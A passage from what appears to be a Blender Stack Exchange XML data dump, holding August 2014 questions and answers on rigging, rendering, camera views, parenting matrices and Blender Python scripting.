Bone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is one after moving the bone:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jNYkY.png&quot; alt=&quot;Moved Bone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I  just found out that it only happens with the finger tips on the index fingers, all the other fingers are fine.&lt;/p&gt;&#xA;" OwnerUserId="5746" LastEditorUserId="5746" LastEditDate="2014-08-24T18:33:00.807" LastActivityDate="2014-08-25T03:32:35.800" Title="Armature Fingertips Not Following Bone" Tags="&lt;animation&gt;&lt;armature&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15271" PostTypeId="1" CreationDate="2014-08-24T19:09:43.910" Score="2" ViewCount="2480" Body="&lt;p&gt;I used Blender version 2.68a last year. I wanted to start using it again, but now whenever I start Blender it simply crashes immediately with the message, &quot;Blender has stopped working&quot;. I've tried using multiple different versions, including the most recent 2.71 version w/ 32 bit and 64 bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS: Windows 7 64-bit&#xA;CPU: i7-4770k @ 3.50 GHz&#xA;GPU: GTX 770&#xA;RAM: 16.0 GB&#xA;Hard Drive: 250 GB w/ 53.1 GB remaining&lt;/p&gt;&#xA;" OwnerUserId="5748" LastEditorUserId="2217" LastEditDate="2014-08-24T19:45:46.397" LastActivityDate="2014-08-24T20:32:26.623" Title="Blender has stopped working: Crash on startup" Tags="&lt;windows&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-08-24T20:33:55.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="15274" PostTypeId="2" ParentId="15271" CreationDate="2014-08-24T20:32:26.623" Score="3" Body="&lt;p&gt;For these kind of problems you should report a bug in the tracker, as there is really no 'useful answer' possible for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If every version of blender has simply 'stopped working' it is likely a problem with your computer (eg. drivers problem).&#xA;Otherwise you can try a daily build to see if the problem persists: &#xA;&lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;buildbot&lt;/a&gt;&lt;br&gt;&#xA;If it is a bug, report it: &lt;a href=&quot;https://developer.blender.org/maniphest/task/create/?project=2&amp;amp;type=Bug&quot; rel=&quot;nofollow&quot;&gt;report a bug&lt;/a&gt;&lt;br&gt;&#xA;If you need assistance try any of the listed options: &lt;a href=&quot;http://www.blender.org/support/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/support/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2014-08-24T20:32:26.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15275" PostTypeId="2" ParentId="15270" CreationDate="2014-08-24T20:42:29.430" Score="1" Body="&lt;p&gt;My friend suggested I check if the finger end was connected to any other bone, it was also connected to the middle part of the finger. Fixed that, and now it works fine.&lt;/p&gt;&#xA;" OwnerUserId="5746" LastEditorUserId="5746" LastEditDate="2014-08-25T03:32:35.800" LastActivityDate="2014-08-25T03:32:35.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15276" PostTypeId="2" ParentId="15079" CreationDate="2014-08-24T21:21:00.133" Score="5" Body="&lt;p&gt;Unfortunately &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle#Known_Limitations_and_issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;this isn't supported&lt;/a&gt; (yet):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;Known Limitations and issues&lt;/h1&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;FreeStyle is only available for the Blender Internal renderer.&lt;/li&gt;&#xA;  &lt;li&gt;Highly memory demanding: All mesh objects in a render layer are loaded at once.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Only faced mesh objects are supported&lt;/strong&gt;. The following kinds of meshes are ignored.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Mesh faces with wire materials.&lt;/li&gt;&#xA;  &lt;li&gt;Mesh faces with completely transparent materials. &lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Transparent faces are treated as opaque faces.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;No edges at face intersections are detected yet.&lt;/li&gt;&#xA;  &lt;li&gt;Layer masks do not work with Freestyle.&lt;/li&gt;&#xA;  &lt;li&gt;Freestyle rendering results do not have any Z depth information.&lt;/li&gt;&#xA;  &lt;li&gt;Does not work with a panoramic camera.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Emphasis mine. Note that Freestyle is available in the latest development builds and will be in 2.72.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps it will be supported someday, but for now you'll have to try something else. See &lt;a href=&quot;https://blender.stackexchange.com/q/3149/599&quot;&gt;How can I render an edge only mesh as solid lines?&lt;/a&gt; for alternatives.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-08-24T21:21:00.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15277" PostTypeId="1" AcceptedAnswerId="15278" CreationDate="2014-08-24T21:59:27.713" Score="4" ViewCount="1911" Body="&lt;p&gt;In Blender 2.71 using the Cycles engine, I cannot get displacement to work properly on certain objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some screenshots of thre three objects and the nodes I'm using for them: water, a cube, and a plane. Although the displacement works fine for the cube and the plane, it refuses to work on the water. The nodes I'm using are based off of &lt;a href=&quot;https://blender.stackexchange.com/a/783/599&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Water nodes: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mMXyk.png&quot; alt=&quot;Water nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cube nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JW6Jo.png&quot; alt=&quot;Cube nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plane nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lu6ei.png&quot; alt=&quot;Plane nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rM9fi.jpg&quot; alt=&quot;Screenshot of the scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AGG0E.jpg&quot; alt=&quot;Render of the scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://docs.google.com/file/d/0Bzl8ZZsYnq_XUFJCNGd5N3JTeGc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;. You'll also need the texture files from &lt;a href=&quot;https://i.stack.imgur.com/YeZml.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://i.stack.imgur.com/0dn1I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-08-25T06:01:25.070" Title="Displacement on certain objects not working" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15278" PostTypeId="2" ParentId="15277" CreationDate="2014-08-25T03:40:21.803" Score="5" Body="&lt;p&gt;It's working, it's just that the scale is different due the the water object being so much larger. The texture is so large that it's hard to see the displacement effect. If you plug it into an emission shader after muting the multiply node (&lt;kbd&gt;M&lt;/kbd&gt;), then you can see the texture clearly:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5tycv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To fix it, either scale up the textures or use a different mapping via the &lt;em&gt;Texture coordinate&lt;/em&gt; node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f3QI4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qoUAo.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-25T05:53:47.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15279" PostTypeId="2" ParentId="15260" CreationDate="2014-08-25T05:40:41.017" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the camera and press &lt;kbd&gt;Numpad .&lt;/kbd&gt; (view selected) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Numpad 0&lt;/kbd&gt; to enter &lt;em&gt;Camera Perspective&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Numpad 5&lt;/kbd&gt; twice&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However it will be zoomed out a bit.&#xA;I hope this is what you want.&lt;/p&gt;&#xA;" OwnerUserId="5095" LastEditorUserId="599" LastEditDate="2014-08-25T06:28:32.280" LastActivityDate="2014-08-25T06:28:32.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15280" PostTypeId="2" ParentId="15260" CreationDate="2014-08-25T06:07:50.570" Score="1" Body="&lt;p&gt;Here's a bit of a hack, but it seems to work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter camera view (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the camera (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the duplicate camera selected, press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Numpad 0&lt;/kbd&gt; to exit camera view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3emCd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-25T06:07:50.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15281" PostTypeId="1" CreationDate="2014-08-25T06:33:41.863" Score="0" ViewCount="53" Body="&lt;p&gt;I'm using Blender 2.71, and a day or two ago this weird UI glitch started occuring:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/xheTNuu.png&quot; alt=&quot;screenshot of the bleeding&quot;&gt;&#xA;^ Here's a screenshot of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bleeding seems to trigger in various ways, the most common one being changing the user perspective viewing angle. The bleeding starts slow, going down one line at a time blurring the content (and diagonally, as you can see in the upper left).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mousing over a bled UI element restores it to normal. I tried resetting to factory settings as well as changing the window size (full screen, small, etc) but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't had any graphical issues with other software (including games) so I doubt it's a graphics card issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to try and reinstall Blender and make sure my graphics drivers are up to date, hopefully that will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5755" LastActivityDate="2014-08-25T06:33:41.863" Title="Weird UI bleeding. Anyone know the cause/fix?" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-25T13:55:17.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="15282" PostTypeId="2" ParentId="15255" CreationDate="2014-08-25T06:49:19.650" Score="2" Body="&lt;p&gt;Blender uses a memory management system that keeps track of the number of memory allocations it has made. When blender finishes it reports the number of remaining memory allocations. A small number is of little concern but a large number indicates that memory is being allocated and not released, meaning a memory leak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start blender from a terminal (or show the windows console) you will see a similar message as blender quits &lt;code&gt;Error: Not freed memory blocks: xx&lt;/code&gt; while blenderplayer gives the more cryptic &lt;code&gt;Error Totblock: xx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is related to blenders source code and not likely from anything you have done in your game creation. If you do see large numbers it might be worth reporting or talking with a developer on irc to help find a cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think this should be disabled for normal user usage. Only blender developers would have any interest in this information.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-25T06:49:19.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15283" PostTypeId="2" ParentId="15256" CreationDate="2014-08-25T06:58:36.410" Score="2" Body="&lt;p&gt;The knife tool is an interactive process that relies on the location of the mouse cursor and button clicks to perform it's task. This interactivity would make it hard to control from a python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To automatically edit a mesh through python you want to look at the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;bmesh module&lt;/a&gt; which is the underlying foundation to all mesh editing operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue with incorrect context indicates that the operator only works while the 3dview is active.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-25T06:58:36.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15284" PostTypeId="2" ParentId="15265" CreationDate="2014-08-25T07:12:16.733" Score="0" Body="&lt;p&gt;A hard to find or select object can often be deleted from the outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have a cube that has all of it's vertices deleted but is still a child of another cube. In the outliner I can expand the parent to see the child, by right clicking on Cube.001 I can then select delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DtmE5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="3401" LastEditDate="2014-08-25T12:26:31.553" LastActivityDate="2014-08-25T12:26:31.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15285" PostTypeId="2" ParentId="15225" CreationDate="2014-08-25T07:54:38.783" Score="1" Body="&lt;p&gt;Answer is rather simple, afaik: you cannot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be some ways to cache that result, maybe in &lt;code&gt;scene&lt;/code&gt; object, but we do not have any set-like type of property in RNA anyway, and you would have to handle update of it, which would not be trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note however that I doubt this to be a real performance bottleneck, unless you have tens of thousands of bones…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you should use context given to panel's draw func, and do not need to use list comprehension to create a set, there is a set comprehension too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bones = {b.name for b in context.selected_pose_bones}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2014-08-25T07:54:38.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15286" PostTypeId="1" AcceptedAnswerId="15354" CreationDate="2014-08-25T08:57:41.667" Score="7" ViewCount="3040" Body="&lt;p&gt;I am rendering a transparent material with a lot of inter-refractions, which works pretty fine. I now want to add some raytraced mirror to the same object but I am only interested in the mirroring of the surface - no refracted rays should be considered by mirror shader, since this is rather expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I render twice, one time only with refrection and another time only with mirror and blend the renderings to get a final result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried something with with RenderLayers but I can't see any option to set a specific material for a specific mesh in a specific RenderLayer.&lt;/p&gt;&#xA;" OwnerUserId="5568" LastActivityDate="2014-08-29T17:44:12.060" Title="Render object twice with different materials" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15287" PostTypeId="2" ParentId="15195" CreationDate="2014-08-25T09:55:39.763" Score="8" Body="&lt;p&gt;A child always lives in the local space of its parent. You can easily check that by noting the current coordinates of a child that show up in the properties panel (&quot;N&quot;), moving the parent, and then comparing the new coordinates of the child with the first set. They shouldn't have changed, i.e. they can't be global).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of parenting, the child object takes note of the parent's current state (location, rotation, scale) and stores it in child_object.matrix_parent_inverse. Blender applies this correction matrix to the parent's origin before calculating the child's effective global coordinates. (As it is the inverse of the original parent's matrix, it will &quot;negate&quot; the effect the parent had at the time of parenting, thus seemingly keeping the child in the global coordinate system.) Here is a nice official description:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/ParentInverse&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/ParentInverse&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you prefer it mathematically (at least this is how I interpret blender's behavior):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent.matrix_world * child.matrix_parent_inverse * child.matrix_local&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where parent.matrix_world can of course be influenced by other parents and such).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to get rid of the correction matrix, and to be able to place your doors at x = +-0.5 of the parent, simply select the children in question, press &quot;alt+p&quot; and select &quot;Clear parent inverse&quot; (Or in the 3D View, go to &quot;Object&quot;-&gt;&quot;Parent&quot;-&gt;&quot;Clear parent inverse&quot;). This will set the matrix_parent_inverse to the identity matrix and place the children in the parent's coordinate system according to the children's local coordinates. (You could get the same effect by parenting while the parent is still at the origin with no rotation and scale==1.)&lt;/p&gt;&#xA;" OwnerUserId="5739" LastActivityDate="2014-08-25T09:55:39.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15288" PostTypeId="1" CreationDate="2014-08-25T11:15:35.090" Score="3" ViewCount="302" Body="&lt;p&gt;I can't get the sound_bake function to work by script while &lt;strong&gt;it works fine from the menu&lt;/strong&gt; (Unsupported audio format). Any idea ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no backslashes in the path and my blender build includes ffmpeg... so I am out of idea... ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially since it works when I bake manually from the menu with the same file !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the piece of code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get the path from the sequencer&#xA;bpy.context.area.type = &quot;SEQUENCE_EDITOR&quot;&#xA;for s in bpy.context.scene.sequence_editor.sequences:&#xA;    if s.type == 'SOUND':&#xA;        file_path = s.filepath&#xA;&#xA;# insert keyframe to the VU of the 3d object        &#xA;bpy.context.area.type = &quot;VIEW_3D&quot;&#xA;bpy.context.scene.objects.active = bpy.data.objects['vu']&#xA;&#xA;bpy.ops.anim.keyframe_insert_menu(type = &quot;Scaling&quot;)&#xA;bpy.context.active_object.animation_data.action.fcurves[0].lock = True&#xA;bpy.context.active_object.animation_data.action.fcurves[1].lock = True&#xA;&#xA;# bake&#xA;bpy.context.area.type = &quot;GRAPH_EDITOR&quot;&#xA;bpy.ops.graph.sound_bake(filepath=file_path, low=(0), high=(2000))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading !&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2014-08-25T17:23:04.193" Title="sound_bake by script : unsupported audio format error" Tags="&lt;python&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15289" PostTypeId="1" CreationDate="2014-08-25T11:37:27.450" Score="4" ViewCount="150" Body="&lt;p&gt;I am rock-solidly stabilizing a jittery movie clip and am interested to export as much from the cropped movie clip as comes out of it after Autoscaling, in whatever weird resolution that might be. (Put differently, I am not aiming for any specific output resolution, which I would scale towards in the compositor normally, before exporting)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So where or how I can read out this information?&lt;/strong&gt; (e.g. something like &lt;em&gt;1234 x 987 px&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3625" LastActivityDate="2014-08-25T11:37:27.450" Title="2D Stabilization with Autoscaling: Where can I read out the resulting resolution?" Tags="&lt;video&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15290" PostTypeId="2" ParentId="8044" CreationDate="2014-08-25T12:05:54.263" Score="1" Body="&lt;p&gt;You can probably write a script that generates such node setup after being given a file path. Use the single selected node to read its inputs and outputs, then delete it by the script and attach generated nodes' IO to what you read.&lt;/p&gt;&#xA;" OwnerUserId="1028" LastActivityDate="2014-08-25T12:05:54.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15291" PostTypeId="2" ParentId="15267" CreationDate="2014-08-25T14:25:09.307" Score="2" Body="&lt;p&gt;The class you have created defines a panel, which is a visual element that contains items within a box that can be collapsed. The properties you display with &lt;code&gt;row.prop(context.active_object.data...)&lt;/code&gt; will always correspond to the one active object, that is the selected object that has lighter selection highlighting than the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buttons that can appear in a panel are a way to execute an operator that performs a task. An operator can perform it's task on any available data, although it is often on all selected items (not just the active item).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the properties on all selected bones you want to define an operator. Using blender's text editor you can start with a template for Operator Simple and you can add a panel based class to the same script if you want to. The &lt;code&gt;bl_label&lt;/code&gt; for the operator can be used to search for it in the space bar menu, or you can use the &lt;code&gt;bl_idname&lt;/code&gt; to refer to it in a panel or calling it directly from python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example operator has &lt;code&gt;bl_idname&lt;/code&gt; set to &lt;code&gt;object.simple_operator&lt;/code&gt; to start with, you can place a button in a panel to use it with -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.operator(&quot;object.simple_operator&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The task you describe will use data that is not always defined so you need to check the existence before trying to access them, for the operator this will best be done in it's poll method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@classmethod&#xA;def poll(cls, context):&#xA;    return context.active_object is not None and context.active_object.type == 'ARMATURE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then alter the function used by the example operator to turn off the deform for the bones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main(context):&#xA;    if context.active_object.mode == 'POSE':&#xA;        for pb in context.selected_pose_bones:&#xA;            pb.bone.use_deform = False&#xA;    elif context.active_object.mode == 'EDIT':&#xA;        for pb in context.selected_bones:&#xA;            pb.use_deform = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-25T14:25:09.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15292" PostTypeId="2" ParentId="15288" CreationDate="2014-08-25T14:48:28.843" Score="3" Body="&lt;p&gt;So here's the trick : Blender internally use relative paths but provides a function to convert it to 'absolute'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I just had to add the line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;absolute_path = bpy.path.abspath(s.file_path) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again Simon &lt;/p&gt;&#xA;" OwnerUserId="5482" LastEditorUserId="5482" LastEditDate="2014-08-25T17:23:04.193" LastActivityDate="2014-08-25T17:23:04.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15293" PostTypeId="1" CreationDate="2014-08-25T15:30:47.753" Score="3" ViewCount="772" Body="&lt;p&gt;I try to render a huge image in cycles. It's 16000x8000 pixels. Everything seems to work normally, the 4 CPU cores do their work, but once the final tiles are rendered the image vanishes and I can't save it. What could be the reason for this?&lt;/p&gt;&#xA;" OwnerUserId="1027" LastActivityDate="2014-08-25T20:59:24.803" Title="Huge cycles render - not possible to save image?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2014-08-30T19:09:08.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="15295" PostTypeId="1" CreationDate="2014-08-25T17:51:20.453" Score="2" ViewCount="253" Body="&lt;p&gt;Is there any advantages If I compile blender from source by default then download it. Faster build? Faster render? More stable? Etc?&#xA;Thx =)&lt;/p&gt;&#xA;" OwnerUserId="2439" LastActivityDate="2014-08-25T19:23:37.897" Title="Difference between compiled version and downloaded?" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15296" PostTypeId="2" ParentId="15295" CreationDate="2014-08-25T18:09:26.730" Score="2" Body="&lt;p&gt;The main reasons to build blender yourself are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you build from the latest sources, you get the very newest features. You'll also get the latest bugs, so save early and often, and keep the bug tracker open ;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can apply patches such as &lt;a href=&quot;https://developer.blender.org/T38401&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;, and get features which aren't even in the official sources yet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also some hardware-specific &lt;a href=&quot;http://en.wikipedia.org/wiki/Optimizing_compiler&quot; rel=&quot;nofollow&quot;&gt;optimization tricks&lt;/a&gt; you can do depending on your &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_compilers#C_compilers&quot; rel=&quot;nofollow&quot;&gt;compiler&lt;/a&gt;, but these can potentially make blender unstable. Also see the &lt;a href=&quot;http://wiki.blender.org/index.php/Attic:Dev:Doc/Building_Blender/Linux/Ubuntu_Feisty_Fawn#Blender_optimization_on_ubuntu.2Fsimilar_distros&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-25T19:23:37.897" LastActivityDate="2014-08-25T19:23:37.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15297" PostTypeId="2" ParentId="4953" CreationDate="2014-08-25T19:44:15.690" Score="0" Body="&lt;p&gt;just check for sensor.positive&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so your code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess, bge&#xA;&#xA;if bge.logic.getCurrentController().sensors[&quot;sensor&quot;].positive:&#xA;    subprocess.call(['VLC\VLC.exe'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5766" LastActivityDate="2014-08-25T19:44:15.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15298" PostTypeId="1" CreationDate="2014-08-25T20:31:06.653" Score="0" ViewCount="34" Body="&lt;p&gt;Hello I'm new in blender api. I know python good but I can't start to make some changes for example with Screw modfier. How to edit the source on this type or try to write own version of this modfier. I found definition in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2.71/scripts/startup/bl_ui/properties_data_modifier.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found in doc&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.ScrewModifier.html?highlight=type%20screw#bpy.types.ScrewModifier&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.ScrewModifier.html?highlight=type%20screw#bpy.types.ScrewModifier&lt;/a&gt; &#xA;but cant find in blender files the class implementation.&lt;/p&gt;&#xA;" OwnerUserId="5678" LastActivityDate="2014-08-25T20:31:06.653" Title="Blender with python api" 